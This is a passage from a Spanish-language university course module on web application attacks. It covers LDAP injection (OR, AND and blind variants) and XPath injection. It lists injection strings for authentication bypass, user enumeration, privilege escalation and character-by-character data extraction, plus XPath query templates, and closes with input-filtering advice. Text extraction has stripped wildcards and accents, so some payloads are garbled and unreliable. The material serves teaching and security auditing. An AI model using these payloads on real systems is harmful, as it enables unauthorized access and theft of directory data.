estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
